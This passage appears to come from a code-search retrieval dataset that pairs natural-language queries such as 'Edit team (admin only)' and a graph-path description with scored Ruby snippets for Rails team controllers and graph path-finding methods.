"0b7002e2e0d3335a621a0e39335d18b0", "score": "0.5209813", "text": "def path\n @global_page.path\n end", "title": "" }, { "docid": "2a5bde86142a026519f04ca270db6854", "score": "0.5203507", "text": "def abs_path(path, ctype=:document)\n node = @content_tree.lookup(path, ctype)\n node ? node.doc_path : nil\n end", "title": "" }, { "docid": "d246593d4c2010094bf584ad98102494", "score": "0.5199872", "text": "def page_dir\n if root?\n site.public_dir\n else\n pieces = path.sub(/^\\//, '').split('/')\n File.join(site.site_files_dir, *pieces[0..-2])\n end\n end", "title": "" } ]
7df1ebd38c3e904eee7ea9af785ec70c
Edit team (admin only)
[ { "docid": "bfc5c38ac110fae7fbf84011371abef1", "score": "0.78579783", "text": "def edit\n\t\t@team = Team.find(params[:id])\n\tend", "title": "" } ]
[ { "docid": "d2049599b6c962c238503ce73dd4e37d", "score": "0.78684014", "text": "def edit\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "6496df7abda77ad7ef15bbf261fe0d44", "score": "0.7736532", "text": "def set_admin_team\n @admin_team = Team.find(params[:id])\n end", "title": "" }, { "docid": "cb5b6f0e35874e7706b509b59ae670d9", "score": "0.75244904", "text": "def set_team\n @team = Team.find(params[:id])\n unless @logged_in and @logged_in.update_site?\n @team.readonly!\n end\n end", "title": "" }, { "docid": "8f58b7118e9450cf7489fe31433dc0dc", "score": "0.7452865", "text": "def edit_team(id, team_name, options={})\n options.merge!(:name => team_name)\n patch \"/teams/#{id}\", :body => options\n end", "title": "" }, { "docid": "72ebda76733431e3a80cc05e277de8eb", "score": "0.7381731", "text": "def update_team\n \n end", "title": "" }, { "docid": "86bc53bc1b4faa56fb3e912901bc87ae", "score": "0.73307824", "text": "def edit_member(_team, _user, _role: :reader)\n # stub\n end", "title": "" }, { "docid": "193e902c33e4941fc109a48d05b90b1d", "score": "0.7301262", "text": "def edit\n @member = TeamMember.find(params[:id])\n end", "title": "" }, { "docid": "78a40fde44e2913e6f0dc35f755dfb3a", "score": "0.72451997", "text": "def update\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n define_team_user\n end", "title": "" }, { "docid": "fc4fd9cdf0788d50ec98225fb08eb480", "score": "0.72407573", "text": "def can_edit_team?(team)\n can_manage_teams? || team_leader?(team.friendly_id)\n end", "title": "" }, { "docid": "7a97dd8d049b6faea1135a399b0ad055", "score": "0.7221671", "text": "def update\n authorize @team, :update?\n\n @team_form = Team::Form.new(team: @team, attributes: team_params)\n\n respond_to do |format|\n if @team_form.save\n format.html { redirect_to team_url(subdomain: @team.subdomain, auth_token: GenerateLoginToken.call(user: current_user)), notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e48a10eeeae69021f5adeef7267193a6", "score": "0.7213145", "text": "def update\n if @team.update(team_params)\n redirect_to teams_url, notice: 'Team was successfully updated.'\n else\n render :edit\n end\n end", "title": "" }, { "docid": "2f27d9fb229d9447aa505a6bb3d5f2af", "score": "0.7173568", "text": "def update\n @team_admin = TeamAdmin.find(params[:id])\n\n respond_to do |format|\n if @team_admin.update_attributes(params[:team_admin])\n format.html { redirect_to @team_admin, notice: 'Team admin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_admin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5cd4e974017f7890faea30372a7e2ae", "score": "0.71034575", "text": "def update\n @team = Team.find(params[:id])\n if @team.update_attributes(team_params)\n flash[:notice] = \"Team successfully updated\"\n redirect_to teams_url\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "1e783f93668bcd2e8b580424fd3cbe79", "score": "0.7102321", "text": "def manage_team\n @user = User.first\n @project = Organization.first.projects.find_by(id: params[:id])\n end", "title": "" }, { "docid": "d907196acb959e811557271604925dc8", "score": "0.7093251", "text": "def set_team\n @team = current_user.teams.find(params[:id])\n end", "title": "" }, { "docid": "388b869da4428e97c8b0c8d8a00dd15d", "score": "0.7087074", "text": "def set_team\n @team = current_user.teams.find(params[:id])\n end", "title": "" }, { "docid": "aef3cd6ef33beb8dcbc75a0af7e4c197", "score": "0.7070302", "text": "def update\n respond_to do |format|\n if @admin_team.update(admin_team_params)\n format.html { redirect_to admin_teams_path, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_team }\n else\n format.html { render :edit }\n format.json { render json: @admin_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d464817b39d94a6e2fe2a3dd6e40e9a4", "score": "0.7037367", "text": "def set_team\n @team = Team.accessible_for(current_user).friendly.find(params[:id])\n end", "title": "" }, { "docid": "3a209b84c3ff68e8e83b2bde0f02a2aa", "score": "0.70119673", "text": "def update\n @team = Team.find(params[:id])\n @course = @team.course\n if has_permissions_or_redirect(:staff, course_team_path(@course, @team))\n @faculty = User.find(:all, :order => \"twiki_name\", :conditions => [\"is_teacher = true\"])\n\n msg = @team.update_members(params[:people])\n unless msg.blank?\n flash.now[:error] = msg\n render :action => 'edit'\n return\n end\n\n # handle_teams_people\n\n update_course_faculty_label\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n flash[:notice] = 'Team was successfully updated.'\n format.html { redirect_to(course_teams_path(@team.course)) }\n format.xml { head :ok }\n else\n @faculty = User.find(:all, :order => \"twiki_name\", :conditions => [\"is_teacher = true\"])\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "89a4d679c0b413c597026199b0f1a22f", "score": "0.7008792", "text": "def update\n @team = Team.find(params[:id])\n\n msg = check_valid_names\n if !msg.empty?\n logger.debug msg\n flash[:error] = msg\n redirect_to :action => 'update'\n return\n end\n handle_teams_people\n\n update_course_faculty_label\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n flash[:notice] = 'Team was successfully updated.'\n format.html { redirect_to(course_teams_path(@team.course)) }\n format.xml { head :ok }\n else\n @faculty = User.find(:all, :order => \"twiki_name\", :conditions => [\"is_teacher = true\"])\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fe33cbf362610b5bf8eed425c34bcb6", "score": "0.6997687", "text": "def update\n authorize @team\n\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to admin_event_team_path(@team, code: @event.code) ,\n notice: 'Equipe foi ATUALIZADO com sucesso.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ead9d42b802eaccedf80771433fe7e2d", "score": "0.69522053", "text": "def set_team\n @team = Team.find(params[:id])\n @organization = @team.organization\n authorize @team\n end", "title": "" }, { "docid": "c0234e7bddbfff25d110091175c2b809", "score": "0.6911645", "text": "def update\n @users = User.active\n @projects = Project.active\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c95185526c269f2682563904140da3c", "score": "0.6902304", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "7c5c57be63eaa5519f18202d319d4946", "score": "0.6896857", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "ee40a0d2b35697cbe2523030348b9841", "score": "0.6894962", "text": "def update\n team_data = params[:team]\n begin\n team = Team.where(:id=>team_data[:id]).first\n if team && registration = Registration.on_team(team).for_user(current_user).first\n team.update_attributes(team_data) if registration.captain?\n end\n end\n flash[:success] = \"Your team changes were saved successfully. Check them out:\"\n redirect_to registration_olympiad_path(@olympiad, :page=>\"team\")\n end", "title": "" }, { "docid": "5c80151f1cf590b673327e27eb6ec88c", "score": "0.6894055", "text": "def edit\n @service = Service.find(params[:id])\n if !checkServiceAdmin(@service)\n redirect_to services_path, alert: \"You do not have the privileges required to edit this team.\"\n else\n @teams = current_user.teams.where('role = ?', 'admin')\n @buttonvalue = \"update service\"\n @myTeam = params[:myTeam]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service }\n end\n end\n end", "title": "" }, { "docid": "5dcd825f9164de84da746f3b9486fcfc", "score": "0.68933284", "text": "def update\n if :opr == 'edit'\n update\n else\n @team = Team.find_by_id(params[:id])\n @team.update_attributes({:id => params[:id], :name => params[:name], :status => params[:status]})\n\n if request.xhr?\n render :json => @team\n end\n end\n end", "title": "" }, { "docid": "05838765e5d9dd6ba606397456c092ed", "score": "0.68914306", "text": "def set_team\n @team = Team.find(params[:team_id])\n end", "title": "" }, { "docid": "05838765e5d9dd6ba606397456c092ed", "score": "0.68914306", "text": "def set_team\n @team = Team.find(params[:team_id])\n end", "title": "" }, { "docid": "bb9aaa008e00f8e0387f4ff1bdf57055", "score": "0.6888397", "text": "def update_team\n @team.update(team_params)\n end", "title": "" }, { "docid": "7745d2243281b329b66fd51105429497", "score": "0.687927", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7745d2243281b329b66fd51105429497", "score": "0.687927", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "10acf767211b20ad40a58680a5c36dee", "score": "0.6878123", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "1a7d10123afe714691120171c4dcce31", "score": "0.6864505", "text": "def update\n @ultimate_team = UltimateTeam.find(params[:id])\n\n respond_to do |format|\n if @ultimate_team.update_attributes(params[:ultimate_team])\n format.html { redirect_to @ultimate_team, notice: 'Ultimate team was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ultimate_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9876d8bafd427a69a3d6d1d62793243d", "score": "0.68620396", "text": "def update\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to user_root_url, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07901d4d8bd54e5c09b00b8d91975d79", "score": "0.6855811", "text": "def set_team\n @team = Team.find(params[:team_id])\n end", "title": "" }, { "docid": "5514c10aca0ceb13ef2f2ba1619ffdde", "score": "0.6854392", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86f6bc74e76db8cde911760d020cf1d1", "score": "0.68479836", "text": "def update_team(opts)\n HelloSign::Resource::Team.new post('/team', :body => opts)\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.6839553", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.6838648", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "7a1a8e813f848486098f64c711e9df98", "score": "0.683497", "text": "def set_team\n @team = Team.friendly.find(params[:team_id])\n end", "title": "" }, { "docid": "722c0e8740211b61925e7bb4f37b9a4e", "score": "0.6829786", "text": "def update\n respond_to do |format|\n @team.name = team_params[:name]\n if @team.save\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dabc9fbfae4eb5e33a64f79bb25457a9", "score": "0.68261576", "text": "def set_team\n @contact = Contact.user_scope().find_by(id: params[:id])\n if [email protected]?\n redirect_to teams_path, :flash => { :error => \"Team member Not Found!\" }\n end\n end", "title": "" } ]
acec564c3838f10c71d4d81e04c59794
If we visited the node, so there is a path from our source node to it.
[ { "docid": "e85cf1853ae48c52b4bcd53f97b51017", "score": "0.7031532", "text": "def has_path_to?(node)\n @visited.include?(node)\n end", "title": "" } ]
[ { "docid": "48f0149e00d3571b61567fd9e509ef3a", "score": "0.75364363", "text": "def path_to(node)\n return unless has_path_to?(node)\n path = []\n current_node = node\n\n while(current_node != @source_node) do\n path.unshift(current_node)\n current_node = @edge_to[current_node]\n end\n\n path.unshift(@source_node)\n end", "title": "" }, { "docid": "492db575e8f17670e9ae81bfd1e2ab80", "score": "0.6960017", "text": "def path_to(node)\n path = []\n current_node = node\n\n while(current_node != @source_node)\n path << current_node\n current_node = @reverse_edge[current_node]\n end\n\n path << @source_node\n path.reverse.map(&:to_s)\n end", "title": "" }, { "docid": "3d6859694ea17149ba17f6bbcbaca7e4", "score": "0.68759996", "text": "def has_path_to?(node)\n\t\[email protected]?(node)\n\tend", "title": "" }, { "docid": "32ad2f76baedd9a0c91bc46beb312ce4", "score": "0.6727299", "text": "def path_to(vertex)\n return nil if(!@marked[vertex]) # a path doesn't exists\n curr_vertex = vertex\n path = []\n while(curr_vertex != @source)\n path.push(curr_vertex)\n curr_vertex = @edge_to[curr_vertex]\n end\n path.push(@source)\n path\n end", "title": "" }, { "docid": "35283d8f03d785be4fdb106072accb63", "score": "0.66787475", "text": "def path_to(node)\n return unless has_path_to?(node)\n path = []\n current_node = node\n\n while(current_node != @node) do\n path.unshift(current_node)\n current_node = @edge_to[current_node]\n end\n\n path.unshift(@node)\n end", "title": "" }, { "docid": "d5dc37953099572732373e98b49e8feb", "score": "0.6655808", "text": "def path_to(node)\n return unless has_path_to?(node)\n path = []\n\n while(node != @node) do\n path.unshift(node) # unshift adds the node to the beginning of the array\n node = @edge_to[node]\n end\n path.unshift(node)\n len = path.length\n for i in 1..len-1\n print path[i].to_s + \" \"\n end\n end", "title": "" }, { "docid": "0f2e4d336b3314f772df35b36ace149a", "score": "0.6651751", "text": "def shortest_path(source)\n @vertices[source].distance = 0\n self.distances(source)\n @vertices.each do |vert|\n @unoptimized_nodes << vert[0]\n end\n @unoptimized_nodes.delete_if{|x| x == source}\n while @unoptimized_nodes.length > 0\n self.step_forward\n debugger\n puts 'a'\n end\n @vertices.each do |vert|\n vertex = vert[0]\n distance = vert[1].distance\n previousnodes = vert[1].previous\n puts \"#{vertex} is #{distance} units from source node #{source} through nodes #{previousnodes}\"\n end\n end", "title": "" }, { "docid": "28dac55796b568da47ae78af252a620a", "score": "0.65283734", "text": "def source_node_contains_direct_route_to?(node)\n source_node[1].keys.include?(node[0]) ? true : false\n end", "title": "" }, { "docid": "19e0b67e5128b12d1a9fc0e3cf1e76e0", "score": "0.6432053", "text": "def rel_src_path(src_node)\n src_node.pathname.relative_path_from(@src_topdir)\n end", "title": "" }, { "docid": "ac5a66d8cdbb5ebfb9316462387cd7f6", "score": "0.6383446", "text": "def path_to(vertex)\n return unless has_path_to?(vertex)\n path = []\n current_vertex = vertex\n\n while(current_vertex != @source_vertex) do\n path.unshift(current_vertex)\n current_vertex = @edge_to[current_vertex]\n end\n\n path.unshift(@source_vertex)\n end", "title": "" }, { "docid": "0648aabfa8266f24f2262ef3dd06249d", "score": "0.63513976", "text": "def shortest_path(node, target_node)\n node.layer = 0\n to_explore = [node]\n until to_explore.empty?\n current_node = to_explore.shift\n if current_node == target_node\n @explored = Hash.new(false)\n return current_node.layer \n end\n @explored[current_node] = true\n current_node.connected_nodes.each do |connected_node|\n unless @explored[connected_node] || to_explore.include?(connected_node)\n to_explore << connected_node\n connected_node.layer = current_node.layer + 1\n end\n end\n end\n Hash.new(false)\n nil\n end", "title": "" }, { "docid": "a64bb705bc58f105e2604fe129278686", "score": "0.63129485", "text": "def source? node\n return unless @nodes[node]\n @nodes[node][:indegree] == 0\n end", "title": "" }, { "docid": "243dd7b207f263526d5d4439e319a9a9", "score": "0.6289742", "text": "def reached_node(node); end", "title": "" }, { "docid": "efad770cd52864074ee989432dd365f1", "score": "0.6276777", "text": "def pathExist( source, dest)\n visited = Array.new(self.count){false}\n self.dfsUtil(source, visited)\n return visited[dest]\n end", "title": "" }, { "docid": "2541bf3b58d99fc767974664ca4f3382", "score": "0.62073064", "text": "def find_path(graph, source, target)\n queue = []\n marked = []\n queue.append(source)\n marked.append(source)\n\n until queue.empty?\n node = queue.shift\n return true if node == target\n\n # @type [Array] children\n children = graph[node]\n children.each do |child|\n unless marked.include?(child)\n queue.append(child)\n marked.append(child)\n end\n end\n end\n\n false\nend", "title": "" }, { "docid": "8c4bef8460a95923672df942d0c57c0a", "score": "0.6174217", "text": "def dfs_path(node, path = [])\n coords = node.coords\n path << coords\n\n return path if coords == @target\n\n node.children.each do |child|\n res = dfs_path(child, path.dup)\n return res unless res.nil?\n end\n nil\n end", "title": "" }, { "docid": "8a0530fb5b4984e6c538de6767dde267", "score": "0.6162891", "text": "def path\n @source_path\n end", "title": "" }, { "docid": "f70bef327dad3ab1fd126d30f0a1461f", "score": "0.61108375", "text": "def each_path_from_backtrace\n @remove_edges = []\n # Do a depth-first enumeration through the backtrace tree finding\n # optimal cost paths.\n paths = [[@target]]\n until paths.empty?\n path = paths.pop\n node = path.first\n optimal_costs = @backtrace[node].keys\n optimal_cost = optimal_costs.min\n LOGGER.debug(\"Read off paths to #{node} of cost #{optimal_cost}\")\n # Remove the edges between the previous node and this one if this is\n # the first optimal path branch.\n remove = @remove_edges.empty? and optimal_costs.length > 1\n @backtrace[path.first][optimal_cost].each do |prev_node|\n # Remove first optimal path branch edges or, if there are no\n # branches, edges coming from the source to the optimal path.\n if remove or (@remove_edges.empty? and\n prev_node == @source)\n @remove_edges << [prev_node, node]\n end\n # Add the previous node to the head of the path.\n new_path = [prev_node] + path\n if prev_node == @source\n # Yield the complete path.\n LOGGER.debug(\"Found path #{new_path.inspect}\")\n yield [optimal_cost, new_path]\n else\n # Put an incomplete path back on the agenda.\n paths << new_path\n end\n end # each prev_node\n @backtrace.delete_optimal_paths(path.first)\n end # while paths\n end", "title": "" }, { "docid": "8b1dd7d0d460a5fd3e8e6749708b0f57", "score": "0.60914457", "text": "def route?(start_node, target_node, visited={})\n visited[start_node.value] = true\n start_node.adjacent_vertices.each do |adjacent_vertex|\n next if visited[adjacent_vertex.value]\n return adjacent_vertex.value if adjacent_vertex.value == target_node.value\n vertex_found = route?(adjacent_vertex, target_node, visited)\n return true if vertex_found\n end\n false\nend", "title": "" }, { "docid": "81c63e9bc2ef00c4a678960e628790f4", "score": "0.60732394", "text": "def test_next_path\n\t\tnode = Node.new(\"Enumberable Canyon\", 3, 4, 6)\n\t\tnode1 = Node.new(\"Monkey Patch City\", 3, 4, 6)\n\t\[email protected]_location(node)\n\t\[email protected]_location(node1)\n\t\[email protected]_path(\"Enumberable Canyon\", \"Monkey Patch City\")\n\t\tnextNode = @g.next_path\n\t\tassert_equal nextNode.location, \"Monkey Patch City\"\n\tend", "title": "" }, { "docid": "fe614e15627439fd78c35258a61ad2d9", "score": "0.6069904", "text": "def relative_path_from(node)\n pathname.relative_path_from(node.pathname)\n end", "title": "" }, { "docid": "57f56c929feeb4df57a6a597e533aba8", "score": "0.6062158", "text": "def find_path(end_pos) # user calls this method to find the shortest path to end position\n val = self.root_node.dfs(end_pos) #.value # gives us a node, but not the path to it\n trace_path_back(val)\n end", "title": "" }, { "docid": "3f13ff8c149b6fe34ec154a09205d5ce", "score": "0.605765", "text": "def find_path(pos)\r\n destination = self.root_node.dfs(pos)\r\n trace_path_back(destination)\r\n end", "title": "" }, { "docid": "629acb125ec69e7ae8b1250577e55836", "score": "0.60463953", "text": "def route_between_nodes?(source_node, destination_node)\n return true if source_node == destination_node\n\n 